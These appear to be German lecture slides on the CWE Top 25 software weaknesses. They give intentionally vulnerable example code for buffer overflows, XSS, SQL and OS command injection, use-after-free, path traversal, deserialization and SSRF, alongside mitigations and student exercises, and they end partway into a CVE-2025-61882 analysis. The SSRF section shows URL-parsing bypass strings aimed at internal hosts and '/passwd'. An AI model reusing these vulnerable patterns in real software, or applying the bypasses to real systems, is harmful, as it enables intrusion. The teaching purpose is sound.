CWE Rank
Jahr |
Position |
|---|---|
2024 |
#2 |
2023 |
#1 |
Es werden Daten hinter oder vor den Bereich des Puffers geschrieben.
C /C++
Hoch
Speichermodifikation; DoS: Crash, Beendigung oder Neustart; Ausführen von nicht autorisiertem Code oder Befehlen
memcpy()
1int returnChunkSize(void *) {23/* if chunk info is valid, return the size of usable memory,4* else, return -1 to indicate an error5*/6...7}89int main() {10...11memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));12...13}
Implizite Annahmen
1void host_lookup(char *user_supplied_addr){2struct hostent *hp;3in_addr_t *addr;4char hostname[64];5in_addr_t inet_addr(const char *cp); // function prototype67/* routine that ensures user_supplied_addr is in the right format for8conversion */910validate_addr_form(user_supplied_addr);11addr = inet_addr(user_supplied_addr);12hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);13strcpy(hostname, hp->h_name);14}
Auszug aus der Dokumentation von gethostbyaddr
Return Value
The
gethostbyaddr()function return thehostentstructure or aNULLpointer if an error occurs.
Abweichung von der Erwartung
1char * copy_input(char *user_supplied_string){2int i, dst_index;3char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);4if ( MAX_SIZE <= strlen(user_supplied_string) ) die("string too long");5dst_index = 0;6for ( i = 0; i < strlen(user_supplied_string); i++ ){7if( '&' == user_supplied_string[i] ){8dst_buf[dst_index++] = '&';9dst_buf[dst_index++] = 'a'; dst_buf[dst_index++] = 'm';10dst_buf[dst_index++] = 'p'; dst_buf[dst_index++] = ';';11}12else if ( '<' == user_supplied_string[i] ){ /* encode to < */ }13else dst_buf[dst_index++] = user_supplied_string[i];14}15return dst_buf;16}
Whitespace Bearbeitung
1char* trimTrailingWhitespace(char *strMessage, int length) {2char *retMessage;3char message[length+1]; // copy input string to a4int index; // temporary string5for (index = 0; index < length; index++) { //6message[index] = strMessage[index]; //7} //8message[index] = '\0'; //910int len = index-1; // trim trailing whitespace11while (isspace(message[len])) { //12message[len] = '\0'; //13len--; //14} //15retMessage = message;16return retMessage; // return trimmed string17}
Auszug aus der Dokumentation von isspace()
If an argument (character) passed to the
isspace()function is a white-space character, it returns non-zero integer. If not, it returns 0.
„Widgets”
1int i;2unsigned int numWidgets;3Widget **WidgetList;45numWidgets = GetUntrustedSizeValue();6if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {7ExitError("Incorrect number of widgets requested!");8}9WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));10printf("WidgetList ptr=%p\n", WidgetList);11for(i=0; i<numWidgets; i++) {12WidgetList[i] = InitializeWidget();13}14WidgetList[numWidgets] = NULL;15showWidgets(WidgetList);
Mögliche Abhilfemaßnahmen
Verwendung einer sicheren Programmiersprache (Java, Rust ...)
Verwendung von Bibliotheken, die sicher(er) sind (z. B. strncpy() statt strcpy())
Kompilierung mit entsprechenden Flags, die entsprechende Prüfung aktivieren (z. B. -D_FORTIFY_SOURCE=2)
Kompilierung als Position-Independent-Code
Dies löst nicht das Problem, aber es macht es schwerer eine Schwachstelle auszunutzen.
Statische Analyse Werkzeuge
Dynamische Analyse Werkzeuge (z. B. Fuzzing, Fault Injection, ...)
CWE Rank
Jahr |
Position |
|---|---|
2024 |
#1 |
2023 |
#2 |
Nutzereingaben werden nicht oder falsch bereinigt, bevor sie in die Ausgabe eingefügt werden, die als Webseite für andere Benutzer verwendet wird.
Hoch
Speichermodifikation; DoS: Crash, Beendigung oder Neustart; Ausführen von nicht autorisiertem Code oder Befehlen
Zugriffskontrolle, Vertraulichkeit
Stored XSS (Typ 2), Reflected XSS (Typ 1), DOM-based XSS (Typ 0)
Durch eine XSS Lücke werden häufig Informationen abgegriffen (z. B. Session Cookies). Allerdings ist es ggf. auch möglich, dass der Angreifer die Session des Nutzers übernimmt und sich als dieser ausgibt.
Reflected XSS ist häufig schwerer auszunutzen, da der Angreifer den Nutzer dazu bringen muss, einen Link zu klicken, der den Angriffsvektor enthält. Bei Stored XSS ist dies nicht notwendig, da der Angriffsvektor bereits auf dem Server gespeichert ist.
Dom-based XSS ist am schwersten Auszunutzen, da der Angreifer den Nutzer dazu bringen muss den Schadcode in die Informationen einzubringen, die von dem Script verarbeitet werden (z. B. durch das Eingeben in ein Formular).
XSS Typ 1 (Php)
1# Rückgabe einer Willkommensnachricht basierend auf dem2# HTTP Get username Parameter3$username = $_GET['username'];4echo '<div class="header"> Welcome, ' . $username . '</div>';
XSS Typ 2 (JSP)
1<% String eid = request.getParameter("eid");2Statement stmt = conn.createStatement();3ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);4if (rs != null) {5rs.next();6String name = rs.getString("name");7}8%>910Employee Name: <%= name %>
XSS Typ 2 (PHP)
1$username = mysql_real_escape_string($username);2$fullName = mysql_real_escape_string($fullName);3$query = sprintf('Insert Into users (uname,pwd,fname) Values ("%s","%s","%s")',4$username,5crypt($password),6$fullName) ;7mysql_query($query);8...
Abhilfemaßnahmen, Erkennung und Abwehr
Eingabevalidierung
Prüfung, dass alle auf dem Client durchgeführten Prüfungen auch auf dem Server vorgenommen werden.
Cookies Verwendung
Verringerung der Angriffsfläche mit dem Ziel möglichst wenig Daten in Cookies etc. zu speichern.
Verwendung von HttpOnly Cookies (d. h. Cookies, die nicht über JavaScript ausgelesen werden können).
Entwicklungszeit
Beherzigen von Best Practices (XSS Prevention Cheat Sheet)
Verwendung von geprüften/sicheren APIs
Statische Analyse Werkzeuge
Setzen der CSP (Content Security Policy)[1]
CSP
CSP erlaubt die Kontrolle darüber, welche Ressourcen, insbesondere auch JavaScript-Ressourcen, ein Dokument laden darf.
Auswirkungen & Schutz
Schutz vor XSS: Blockiert unerlaubte Inline-Scripts und externe Scripts von nicht-vertrauenswürdigen Quellen.
Data Injection Prevention: Verhindert Einschleusung von bösartigen Inhalten durch strikte Kontrolle erlaubter Ressourcen-Quellen.
Clickjacking-Schutz: frame-ancestors kontrolliert, wo die Seite in Frames eingebettet werden darf.
Content-Security-Policy: frame-ancestors 'none'
Violation Reporting: report-uri oder report-to: Verstöße werden an definierte Endpunkte gemeldet.
HTTPS-Erzwingung: Content-Security-Policy: upgrade-insecure-requests: HTTP wird automatisch zu HTTPS aufgewertet.
Empfehlung: Starten Sie mit report-only Mode, um Auswirkungen zu testen.
Content-Security-Policy-Report-Only: <policy>
CWE Rank
Jahr |
Position |
|---|---|
2024 |
#3 |
2023 |
#3 |
Ein SQL-Befehl wird ganz oder teilweise unter Verwendung extern beeinflusster Eingaben von einer vorgelagerten Komponente erzeugt. Dabei werden aber spezielle Elemente nicht oder falsch bereinigt, die den beabsichtigten SQL-Befehl verändern könnten, wenn er an eine nachgelagerte Komponente gesendet wird.
Hoch
Datenbanken
Zugriffskontrolle, Vertraulichkeit, Integrität
MS SQL
1SELECT ITEM,PRICE2FROM PRODUCT3WHERE ITEM_CATEGORY='$user_input'4ORDER BY PRICE
Warnung
MS SQL hat eine eingebaute Funktion, die es erlaubt Shell Befehle auszuführen. Diese Funktion kann auch in einem SQL Statement verwendet werden.
PHP
1$id = $_COOKIE["mid"];2mysql_query(3"SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'"4);
Abhilfemaßnahmen und Erkennung
Verwendung von geprüften/sicheren APIs
Verwendung von Prepared Statements
Datenbank nur mit den notwendigen Rechten betreiben
(Principle of Least Privilege)
Sollte es notwendig sein einen dynamischen SQL Befehl zu erstellen, dann sollten geprüfte Escapefunktionen verwendet werden
Statische Analyse Werkzeuge
ggf. Application-level Firewall einsetzen
CWE Rank
Jahr |
Position |
|---|---|
2024 |
#8 |
2023 |
#4 |
Referenzierung von Speicher nach der Freigabe kann dazu führen, dass ein Programm abstürzt, unerwartete Werte verwendet oder Code ausführt.
Hoch
C, C++
Verfügbarkeit, Vertraulichkeit, Integrität
Beispiel
1char* ptr = (char*)malloc (SIZE);2if (err) { abrt = 1;3free(ptr); }
1// ... Somewhere else in the code:2char* otherPtr = (char*)malloc (SIZE);3otherPtr* = <HACKER CONTROLLED VALUE>; ...
1if (abrt) { // Next: use of ptr after free which uses the hacker controlled value2logError("operation aborted before commit", ptr); }
Hinweis
Ziel ist es im Allgemeinen eine Referenz auf einen interessanten Speicherbereich zu erhalten, der bereits freigegeben wurde und dann den Inhalt dieses Speicherbereichs auszulesen bzw. zu manipulieren, um die nächste Verwendung zu kontrollieren.
*Memoryallocation* in C
1#include <stdlib.h>2#include <stdio.h>3#include <string.h>4#define BUFSIZER1 5125int main(int argc, char **argv) {6char *buf1R1, *buf2R1, *buf2R2;7buf2R1 = (char *) malloc(BUFSIZER1);8printf("buf2R1 -> %p\n",buf2R1);9free(buf2R1);10printf("[FREED] %p\n",buf2R1);11buf2R2 = (char *) malloc(BUFSIZER1);12strncpy(buf2R2, argv[1], BUFSIZER1-1);13printf("buf2R2 -> %p\n",buf2R2);14printf("buf2R2 = %s\n",buf2R2);15printf("!!! buf2R1 = %s\n",buf2R1);16free(buf2R2);17}
Fragen:
Wird dieses Program bis zum Ende laufen oder abstürzen?
Welche Ausgabe erzeugt das Programm?
Ist die Ausgabe bei jedem Lauf gleich?
CVE-2006-4997 IP over ATM clip_mkip dereference freed pointer (Linux Kernel)
// clip_mkip (clip.c):
198 static void clip_push(struct atm_vcc *vcc,struct sk_buff *skb) {
...
234 memset(ATM_SKB(skb), 0, sizeof(struct atm_skb_data));
235 netif_rx(skb);
236 }
... // PROBLEMATIC CODE STARTS HERE:
510 clip_push(vcc,skb);
511 PRIV(skb->dev)->stats.rx_packets--;
512 PRIV(skb->dev)->stats.rx_bytes -= len;
// netif_rx (dev.c):
1392 int netif_rx(struct sk_buff *skb) {
...
1428 kfree_skb(skb); //drop skb
1429 return NET_RX_DROP;
Abhilfemaßnahmen und Erkennung
Wahl einer sicheren Programmiersprache (z. B. RUST)
explizites NULL setzen, nachdem der Speicherbereich freigegeben wurde
Fuzzing
Statische Analyse Werkzeuge
Empfohlene Lektüre: One day short of a full chain: Real world exploit chains explained (In Teil 1 wird eine UAF Schwachstelle genutzt.)
CWE Rank
Jahr |
Position |
|---|---|
2024 |
#7 |
2023 |
#5 |
Alles oder zumindest ein Teil eines Betriebssystembefehls hängt von extern beeinflussten Eingaben ab. Es erfolgt jedoch keine Bereinigung spezieller Elemente, die den beabsichtigten Betriebssystembefehl verändern könnten.
Hoch
Verfügbarkeit, Vertraulichkeit, Integrität
Ein bestimmtes Program wird ausgeführt und die Nutzerdaten werden als Parameter übergeben.
Die Anwendung bestimmt basierend auf den Nutzerdaten welches Program mit welchen Parametern ausgeführt wird.
OS Command Injection in Java
1...2String btype = request.getParameter("backuptype");3String cmd = new String(4"cmd.exe /K \"c:\\util\\rmanDB.bat "5+ btype +6"&&c:\\utl\\cleanup.bat\"")78System.Runtime.getRuntime().exec(cmd);9...
Abhilfemaßnahmen und Erkennung
Verwendung von geprüften/sicheren APIs.
Anwendung bzw. Befehl nur mit den notwendigen Rechten betreiben (Principle of Least Privilege) bzw. in einer Sandbox ausführen.
Statische Analyse Werkzeuge
Dynammische Analyse in Kombination mit Fuzzing
Manuelle Code Reviews/Statische Analyse
ggf. Application-level Firewall einsetzen
CWE Rank
Jahr |
Position |
|---|---|
2024 |
#12 |
2023 |
#6 |
Empfangene Eingaben oder Daten werden nicht nicht oder falsch validiert in Hinblick darauf, dass die Eingaben die Eigenschaften haben, die für eine sichere und korrekte Verarbeitung der Daten erforderlich sind.
Hoch
Verfügbarkeit, Vertraulichkeit, Integrität
Rohdaten - Strings, Zahlen, Parameter, Dateiinhalte, etc.
Metadaten - Information über die Rohdaten, wie zum Beispiel Header oder Größe
Zu verifizierende Werte und Eigenschaften
Z. B. Länge, Häufigkeit, Preis, Rate, Anzahl der Vorgänge, Zeit usw.
Z. B. die tatsächliche Größe einer Datei anstelle einer angegebenen Größe.
Offsets oder Positionen in komplexeren Datenstrukturen.
Z. B. von Hashtabellen oder assoziativen Feldern.
Übereinstimmung mit der erwarteten Syntax.
Z. B. zwischen den Rohdaten und Metadaten oder zwischen Referenzen.
Z. B. Konformität mit domänenspezifischen Regeln, z. B. Geschäftslogik.
Z. B. von kryptografischen Signaturen.
O'Reilly ist keine SQL Injection
Beobachtung
Ein Name wie O'Reily stellt ein Problem dar, wenn er in ein SQL Statement eingefügt wird, sollte jedoch von der Anwendung verarbeitet werden können und die Eingabevalidierung passieren.
Hinweis
Die Validierung muss immer in Hinblick auf den Kontext erfolgen.
Partielle Validierung in C
1#define MAX_DIM 1002int m,n, error; /* m,n = board dimensions */3board_square_t *board;4printf("Please specify the board height: \n");5error = scanf("%d", &m);6if ( EOF == error ) die("No integer passed!\n");7printf("Please specify the board width: \n");8error = scanf("%d", &n);9if ( EOF == error ) die("No integer passed!\n");10if ( m > MAX_DIM || n > MAX_DIM ) die("Value too large!\n");1112board = (board_square_t*) malloc( m * n * sizeof(board_square_t));13...
Warnung
Ein vergleichbares Problem ist auch in sicheren Programmiersprachen möglich.
Abhilfemaßnahmen und Erkennung
(begrenzt) Statische Analyse Werkzeuge
Manuelle statische Analyse insbesondere in Hinblick auf die zugrundeliegende Semantik
Dynamische Analyse mit Fuzzing
CWE Rank
Jahr |
Position |
|---|---|
2024 |
#6 |
2023 |
#7 |
Daten vor oder nach einem Puffer werden gelesen.
Hoch
C, C++
Vertraulichkeit
Umgehung von Schutzmaßnahmen; Lesen von Speicher
Die Ausnutzung dieser Schwachstelle ist häufig schwierig, da nicht immer bekannt ist welche und wie viele Daten gelesen werden können. Es kann allerdings möglich sein Speicheradressen auszulesen. Dies kann ggf. genutzt werden, um Mechanismen wie ASLR zu umgehen.
Partielle Validierung in C
1int getValueFromArray(int *array, int len, int index) {2int value;34// check that the array index is less than the maximum length of the array5if (index < len) {6// get the value at the specified index of the array7value = array[index];8}9// if array index is invalid then output error message10// and return value indicating error11else {12printf("Value is: %d\n", array[index]);13value = -1;14}15return value;16}
Abhilfemaßnahmen und Erkennung
eine sichere Programmiersprache verwenden
Fuzzing
Statische Analyse Werkzeuge welche Kontroll- und Datenflussanalyse durchführen
CWE Rank
Jahr |
Position |
|---|---|
2024 |
#5 |
2023 |
#8 |
Externe Eingaben werden für die Konstruktion eines Pfadnamens verwendet, der eine Datei oder ein Verzeichnis identifizieren soll, das sich unterhalb eines eingeschränkten übergeordneten Verzeichnisses befindet. Eine Bereinigung spezieller Elemente innerhalb des Pfadnamens erfolgt jedoch nicht ordnungsgemäß, was dazu führen kann, dass der Pfadname zu einem Ort außerhalb des eingeschränkten Verzeichnisses aufgelöst wird.
Hoch
Vertraulichkeit, Integrität, Verfügbarkeit
Path Traversal aufgrund fehlender Validierung
PHP
1<?php2$file = $_GET['file'];3include("/home/www-data/$file");4?>
Path Traversal aufgrund partieller Validierung
Perl
1my $Username = GetUntrustedInput();2$Username =~ s/\.\.\///; # Remove ../3my $filename = "/home/user/" . $Username;4ReadAndSendFile($filename);
Java
1String path = getInputPath();2if (path.startsWith("/safe_dir/")) {3File f = new File(path);4f.delete()5}
Schwachstellen leichtgemacht: verwirrende Python API[2]
1import os2import sys3def main():4filename = sys.argv[1]5path = os.path.join(os.getcwd(),6filename)7try:8with open(path, 'r') as f:9file_data = f.read()10except FileNotFoundError as e:11print("Error - file not found")1213# do something with file_data
Dokumentation os.path.join
Join one or more path components intelli- gently. The return value is the concatenation of path and any members of *paths with ex- actly one directory separator following each non-empty part except the last, meaning that the result will only end in a separator if the last part is empty. If a component is an absolute path [...], all previous components are thrown away and joining continues from the absolute path component.
Verwirrende APIs gibt es in praktischen allen Sprachen!
Abhilfemaßnahmen und Erkennung
Eingabe vollständig validieren; zum Beispiel über kanonische Pfade
Sandboxen
Umgebung härten
Bei Fehlerausgaben darauf achten, dass keine Informationen über das Dateisystem preisgegeben werden
den Code mit minimalen Rechten ausführen
CWE Rank
Jahr |
Position |
|---|---|
2024 |
#4 |
2023 |
#9 |
Die Webanwendung prüft nicht bzw. kann nicht prüfen, ob eine Anfrage absichtlich von dem Benutzer gestellt wurde, von dessen Browser sie übermittelt wurde.
D. h. eine CSRF Schwachstelle nutzt das Vertrauen aus, das eine Webseite in den Browser eines Nutzers hat. Bei einem CSRF-Angriff wird ein legitimer Nutzer von einem Angreifer dazu gebracht, ohne sein Wissen eine Anfrage zu übermitteln, die er nicht beabsichtigt hat und auch nicht bemerkt.
Mittel
Hängt von den Nutzerrechten ab
Vertraulichkeit, Integrität, Verfügbarkeit
Ursprüngliche Form
Hintergrundwissen
Ursprünglich (d. h. für Cookies ohne modernes SameSite Attribut) war es so, dass ein Browser, immer wenn auf einen Seite zugegriffen wurde (z. B. mittels POST/GET Requests oder Fetch Zugriffe), dieser alle aktuellen Cookies bzgl. der Zieldomain mitgesendet hat. Dies galt unabhängig vom Browsertab/der Website aus dem der Zugriff heraus erfolgte. Dies konnte eine Angreiferwebseite im Rahmen von Cross-Site Request Forgery Attacken ausnutzen, um authentifizierte Aktionen im Namen des Opfers auszuführen.
Cross-Site Request Forgery (CSRF) in 2023
Fiber ist ein von Express inspiriertes Web-Framework, das in Go geschrieben wurde. In der Anwendung wurde eine Cross-Site Request Forgery (CSRF)-Schwachstelle entdeckt, die es einem Angreifer ermöglicht, beliebige Werte zu injizieren und bösartige Anfragen im Namen eines Benutzers zu fälschen. Diese Schwachstelle kann es einem Angreifer ermöglichen, beliebige Werte ohne Authentifizierung einzuschleusen oder verschiedene böswillige Aktionen im Namen eines authentifizierten Benutzers durchzuführen, wodurch die Sicherheit und Integrität der Anwendung gefährdet werden kann. Die Schwachstelle wird durch eine unsachgemäße Validierung und Durchsetzung von CSRF-Tokens innerhalb der Anwendung verursacht.
—CVE-2023-45128 (übersetzt mit DeepL)
Bemerkung
Identifizierte Schwachstellen: CWE-20 Improper Input Validation, CWE-807 Reliance on Untrusted Inputs in a Security Decision, CWE-565 Reliance on Cookies without Validation and Integrity Checking, CWE-352 Cross-Site Request Forgery
Standardtechniken, die CSRF in 2023 verhindern sollen
Same-site Cookies (für Authentifizierung)
CSRF-Tokens, wenn diese die folgenden Eigenschaften haben:
Einmalig pro Nutzersession
Geheim
nicht vorhersagbar (z. B. eine sehr große, sicher erzeugte Zufallszahl)
Validierung des Referer-Header
Custom Request Header, da diese nur vom JavaScript Code gesetzt werden können, der den gleichen Ursprung hat (siehe Same Origin Policy (SOP)).
Auch diese Techniken lassen sich ggf. (alle zusammen) aushebeln, wenn die Anwendung weitere Schwachstellen aufweist. So gibt/gab es Anwendungen, die Anfragen, die nur über ein POST request gestellt werden sollten, auch bei einem GET akzeptiert haben.
In allen Browsern wird in der Zwischenzeit für Cookies die Same-site Policy angewandt mit dem Wert Lax. Dieser Wert hat zur Folge, dass Cookies nur dann gesendet werden, wenn der Nutzer explizit auf einen Link klickt oder sich innerhalb derselben Seite befindet.
CWE Rank
Jahr |
Position |
|---|---|
2024 |
#10 |
2023 |
#10 |
Es ist möglich potentiell gefährliche Dateien hochzuladen bzw. zu transferieren, die von der Anwendung automatisch im Kontext der Anwendung verarbeitet werden.
Mittel
Bis hin zur Ausführung von beliebigen Befehlen
Vertraulichkeit, Integrität, Verfügbarkeit
Unrestricted Uploads in PHP
HTML:
1<form action="upload_picture.php" method="post" enctype="multipart/form-data">2Choose a file to upload:3<input type="file" name="filename"/>4<br/>5<input type="submit" name="submit" value="Submit"/>6</form>
PHP:
1// Define the target location where the picture being2// uploaded is going to be saved.3$target = "pictures/" . basename($_FILES['uploadedfile']['name']);45// Move the uploaded file to the new location.6move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)
Abhilfemaßnahmen und Erkennung
Beim Speichern von Dateien niemals den ursprünglichen Dateinamen verwenden sondern einen vom Server generierten.
Speicher die Daten nicht im Kontext der Webanwendung sondern außerhalb des Webroots.
Prüfe die Dateiendung. Prüfe den Inhalt der Datei gegen die Erwartung.
Ausführen der Webanwendung mit minimalen Rechten.
Sandbox.
CWE Rank
Jahr |
Position in CWE |
Position in KEV |
|---|---|---|
2024 |
(Nicht in den Top 25) |
(Nicht in den Top 10) |
2023 |
(Nicht in den Top 25) |
#2 |
Ein Pufferüberlauf, bei dem der Puffer, der überschrieben wird, auf dem Heap alloziiert wurde, was im Allgemeinen bedeutet, dass der Puffer mit einer Routine wie malloc() allloziiert wurde.
Hoch
C/C++
Bis hin zur Ausführung von beliebigen Befehlen
Vertraulichkeit, Integrität, Verfügbarkeit, Zugriffskontrolle
Heap-based Buffer Overflow: „Basisbeispiel“ in C
1#define BUFSIZE 2562int main(int argc, char **argv) {3char *buf;4buf = (char *)malloc(sizeof(char)*BUFSIZE);5strcpy(buf, argv[1]);6}
Abhilfemaßnahmen und Erkennung
Verwendung einer sicheren Programmiersprache
Verwendung von sicheren APIs
Kompilierung unter Verwendung entsprechender Schutzmechanismen (Position-Independent Executables (PIE), Canaries, ...)
Härtung der Umgebung (z. B. ASLR)
Statische Analyse Werkzeuge
Fuzzing
Nicht vertrauenswürdige Daten werden deserialisiert ohne - je nach Bibliothek notwendige vorhergehende - Prüfung, dass die Daten die erwarteten Eigenschaften haben.
Mittel
Java, Ruby, Python, PHP, JavaScript, ...
Insbesondere: Integrität und Verfügbarkeit (DoS); weitere Effekte sind vom Kontext abhängig.
(Un-)Marshalling, (Un-)Pickling
Bei der Serialisierung werden programminterne Objekte so verpackt, dass die Daten extern gespeichert und/oder übertragen werden können. Die Deserialisierung kehrt diesen Prozess um.
Beispiel
Java
1File file = new File("object.obj");2try ( FileInputStream fin = new FileInputStream(file);3ObjectInputStream oin = new ObjectInputStream(fin)4) {5javax.swing.JButton button = (javax.swing.JButton) oin.readObject();6...7}
Im Java Beispiel wird ein Objekt aus einer Datei gelesen und in eine Variable vom Typ javax.swing.JButton geschrieben. Der Typ des Objekts wird nicht geprüft. Es ist möglich, dass die Datei ein Objekt enthält, welches vom Typ javax.swing.JButton ist, aber nicht die Eigenschaften hat, die ein Button haben sollte. In diesem Fall wird keine Exception geworfen, aber das Objekt kann nicht wie erwartet verwendet werden bzw. es kommt zur Ausführung von beliebigem Code.
Deserialization of Untrusted Data in Python
1class ExampleProtocol(protocol.Protocol):23def dataReceived(self, data):4# ... parse the incoming data and5# after receiving headers, call confirmAuth() to authenticate67def confirmAuth(self, headers):8try:9token = cPickle.loads(base64.b64decode(headers['AuthToken']))10if not check_hmac(token['signature'], token['data'], getSecretKey()):11raise AuthFail12self.secure_data = token['data']13except:14raise AuthFail
Abhilfemaßnahmen und Erkennung
ggf. Einsatz von Signaturen, um sicherzustellen, dass der serialisierte Code nicht manipuliert wurde
Serialisiere nur Daten, die auch wirklich serialisiert werden müssen
Verwendung von sicheren Formaten (z. B. JSON)
statische Analyse
Empfohlene Lektüre: Deserialization Vulnerabilities
CWE Rank
Jahr |
Position in CWE |
Position in KEV |
|---|---|---|
2024 |
19 |
(nicht in den Top 10) |
2023 |
19 |
≈ Serverseitige Anfragefälschung
Der Webserver erhält eine URL oder eine ähnliche Anfrage und ruft den Inhalt dieser URL ab, stellt aber nicht sicher, dass die Anfrage an das erwartete Ziel gesendet wird.
Webserver
Vetraulichkeit, Integrität
Beispiel
Unicode Handling Fehler [4] im JavaScript NodeJS Framework
1var base = "http://orange.tw/sandbox/";2var path = req.query.path;3if (path.indexOf("..") == -1) { // check for no directory traversal4http.get(base + path, callback);5}
Beispiel URL (U+FF2E Full width Latin capital letter N):
http://orange.tw/sandbox/NN/passwd
≙ http://orange.tw/sandbox/\xFF\x2E\xFF\x2E/passwd
≙ http://orange.tw/sandbox/\x2E\x2E/passwd
≙ http://orange.tw/sandbox/../passwd
URL Parser vs. Abfrage der URL in PHP (> 7.0.13):
1$url = 'http://foo@127.0.0.1⬜@google.com:11211/'; // ⬜ is "just" a space2$parsed = parse_url($url);3var_dump($parsed[host]); // string(10) "google.com"4var_dump($parsed[port]); // int(11211)5curl($url);
Ergebnis:
curl fragt die URL 127.0.0.1:11211 ab.
D. h. curl und php interpretieren die URL unterschiedlich.
Variante: Blind SSRF
Bei Blind SSRF-Schwachstellen werden auch Back-End-HTTP-Anfragen an eine bereitgestellte URL gestellt, die Antwort der Back-End-Anfrage jedoch nicht an die Front-End-Antwort der Anwendung zurückgegeben.
Empfohlene Lektüre: Blind Server-Side Request Forgery (SSRF)
Abhilfemaßnahmen und Erkennung
keine (Wieder-)Verwendung der Eingabe URL
sichere APIs
statische Analyse (insbesondere Datenflußanalysen)
Behandlung von Zugriffen von lokalen Maschinen sollte mit der gleichen sorgfalt überprüft werden wie Zugriffe von externen Maschinen; andernfalls können kritische SSRF Angriffe durchgeführt werden
Firewall/Network Policy, um Zugriff auf interne Systeme zu verhindern
Eine Anwendung initialisiert eine Ressource mit einem bestimmten Typ (z. B. Zeiger (Pointer), Objekt, etc.). Später wird auf die Ressource (Variable) dann mit einem anderen Typ zugegriffen.
insbesondere (aber nicht ausschließlich) C/C++; im Prinzip in jeder Sprache, die automatische Typkonvertierungen durchführt.
Integrität, Verfügbarkeit, Vertraulichkeit
Type Confusion in C
1#define NAME_TYPE 123struct MessageBuffer { int msgType;4union { char *name; int nameID; }; };56int main (int argc, char **argv) {7struct MessageBuffer buf;8char *defaultMessage = "Hello World";9buf.msgType = NAME_TYPE;10buf.name = defaultMessage; // printf("*buf.name %p", buf.name);11buf.nameID = (int)(defaultMessage + 1); // printf("*buf.name %p", buf.name);12if (buf.msgType == NAME_TYPE) printf("%s\n", buf.name);13else printf("ID %d\n", buf.nameID);14}
Welche Ausgabe erzeugt das Programm?
Type Confusion in Perl
1my $UserPrivilegeArray = ["user", "user", "admin", "user"];2my $userID = get_current_user_ID();3if ($UserPrivilegeArray eq "user") {4print "Regular user!\n";5}6else {7print "Admin!\n";8}910print "\$UserPrivilegeArray = $UserPrivilegeArray\n";
Eine Anwendung führt eine kritische Funktion aus, ohne die Identität des Nutzers zu überprüfen. Kritische Funktionen sind solche, die entweder signifikante Ressourcen verbrauchen oder nur von privilegierten Nutzern ausgeführt werden sollten.
"alle"
Abhilfemaßnahmen und Erkennung
manuelle Code Reviews
statische Analyse (Binärcode und/oder Quellcode)
gemeinnützige Stiftung, die sich für die Verbesserung der Sicherheit von Software einsetzt
2001 gegründet
weltweit tätig
Stellt insbesondere Foren, Dokumente und Werkzeuge bereit
Dokumente, die bei der Entwicklung sicherer Anwendungen unterstützen:
Ausgewählte Projekte:
malloc verstehen
Benenne die Schwachstelle(n) entsprechend der CWEs (ohne ID).
Identifiziere die für die Schwachstelle(n) relevanten Zeilen im Code.
Gebe - falls möglich - einen Angriffsvektor an.
Skizziere mögliche Auswirkung der Schwachstelle(n) (z. B. Verlust der Vertraulichkeit, Integrität oder Verfügbarkeit; Umgehung der Zugriffskontrolle; beliebige Codeausführung, ...)
1#include <stdio.h>2#include <string.h>3void process(char *str) {4char *buffer = malloc(16);5strcpy(buffer, str);6...7// ... definitively executed in the future: free(buffer);8}9int main(int argc, char *argv[]) {10if (argc < 2) { printf("Usage: %s <string>\n", argv[0]); return 1; }11process(argv[1]);12return 0;13}
REST API
Eine REST API verhält sich wie folgt, wenn man einem Blog einen Kommentar hinzufügt:
1POST /post/comment HTTP/1.12Host: important-website.com3Content-Length: 10045postId=3&comment=This+<post>+was+helpful.&name=Karl+Gustav
Fragt man danach den Webservice nach dem Kommentar, dann erhält man folgendes zurück:
1<div class="comment">2<div class="name">Karl Gustav</div>3<div class="comment">This <post> was helpful.</div></div>
Bewerten Sie die Schwachstelle: CWE Name, problematische Codestelle(n), möglicher Angriffsvektor und mögliche Auswirkung.
SQL Abfrage mit Java
1String query =2"SELECT account_balance FROM user_data WHERE user_name = "3+ request.getParameter("customerName");4try {5Statement statement = connection.createStatement( ... );6ResultSet results = statement.executeQuery( query );7}
Bewerten Sie die Schwachstelle: CWE Name, problematische Codestelle(n), möglicher Angriffsvektor und mögliche Auswirkung.
Bemerkung
URL Encoding
Leerzeichen
"
<
>
/
Verwendung von HTTP Query Parametern
Sie beobachten folgendes Verhalten einer Webseite:
Anfrage
1https://my-website.com/search?2term=This%20is%20a%20%3C%22%3Egift%3C%2F%22%3E
Antwort
1<div class="search-result">2<div class="title">This is a <">gift</"></div>3</div>
Bewerten Sie die Schwachstelle: CWE Name, problematische Codestelle(n), möglicher Angriffsvektor und mögliche Auswirkung.
CVE-2025-61882
Beschreibung
This vulnerability is remotely exploitable without authentication, i.e., it may be exploited over a network without the need for a username and password. If successfully exploited, this vulnerability may result in remote code execution.
Disclaimer
Im Folgenden sind die Codeausschnitte reformatiert und stark auf das Wesentliche gekürzt. Wer mehr Informationen braucht, findet auf WatchTowr die Analyse.
ein echter Zero-Day (inkl. Ausnutzung) (Oktober 2025)
eine Kette von kleineren und mittleren Schwachstellen, die zu einer Schwachstelle mit einem Rating von 9.8 führen. (Nur ein CVE dazu zu vergeben ist nicht die Norm!)
CVSS Score Berechnung
Attack Vector |
Attack C'plexity |
Privs Req'd |
User Interact |
Scope |
Confi. |
Integrity |
Avail. |
|---|---|---|---|---|---|---|---|
Network |
Low |
None |
None |
Unchanged |
High |
High |
High |
der PoC ist frei verfügbar
(Von einem Threat Actor zur Verfügung gestellt als Racheaktion gegen einen Zweiten.)
Zeigt einen sehr hohen Grad von Können
Dadurch, dass nur ein CVE vergeben wurde, ist es zum Beispiel schwer nachzuvollziehen, ob ein Patch alle zu Grunde liegenden Schwachstellen behoben hat oder ob nur eine Schwachstelle behoben wurde und somit lediglich die Kette unterbrochen wurde.
1. Server-side Request Forgery
Initiale Schwachstelle
